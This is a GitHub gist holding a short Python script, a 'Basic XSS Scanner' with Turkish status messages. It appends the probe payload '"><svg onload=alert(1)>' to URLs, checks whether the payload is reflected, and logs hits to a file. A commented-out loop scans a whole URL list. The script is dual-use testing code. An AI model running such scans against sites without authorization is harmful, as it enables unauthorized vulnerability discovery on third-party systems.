Skip to content

Instantly share code, notes, and snippets.

@cyb3rsalih
Created September 14, 2020 07:07
Show Gist options
  • Save cyb3rsalih/de857a6c7df8dfb958dc1a536f6a2827 to your computer and use it in GitHub Desktop.
Save cyb3rsalih/de857a6c7df8dfb958dc1a536f6a2827 to your computer and use it in GitHub Desktop.
Basic XSS Scanner
#!/usr/bin/python3
import certifi
import urllib3
import time
import requests
import os
import sys
from sty import fg, rs
http = urllib3.PoolManager()
vulnerable_urls = open("vulnerable.txt", "a+")
payload = '"><svg onload=alert(1)>'
headers = {
"user-agent": "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36"
}
def convertFileToArray(file):
t = open("./" + file, "r")
lines = t.readlines()
lines_array = []
for x in lines:
lines_array.append(x.rstrip("\n"))
return lines_array
def send_request(url):
try:
r = http.request("GET", url, headers=headers, retries=False, timeout=10)
if r.status == 200:
kaynak = r.data
sonuc = str(kaynak).find(payload)
if sonuc != -1:
print(fg(2) + "200 FOUND! VULNERABLE " + url + fg.rs)
vulnerable_urls.write(url + "\n")
else:
print(fg(1) + "200 But not vulnerable " + url + fg.rs)
elif r.status == 403:
print(fg(1) + "403 " + url + fg.rs)
elif r.status == 404:
print(fg(1) + "404: " + url + fg.rs)
elif r.status == 301 or r.status == 302:
print(fg(1) + "Şüpheli: " + str(r.status) + " " + url + fg.rs)
else:
print("Ne oluyor kardeşim")
except urllib3.exceptions.MaxRetryError:
print("MaxRetryError")
except urllib3.exceptions.SSLError:
print("SSLError")
except urllib3.exceptions.NewConnectionError:
print("NewConnectionError")
except urllib3.exceptions.ProtocolError:
print("ProtocolError")
except urllib3.exceptions.ReadTimeoutError:
print("Çok geç cevap veriyor atlıyorum")
except:
print("Aman aman nereye geldik bi anda neresi burası")
send_request("https://example.com/vulnerable.php?parameter=" + payload)
# url_array = convertFileToArray("all.txt")
# for url in url_array:
# send_request(url + payload)
print("FINISHED!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment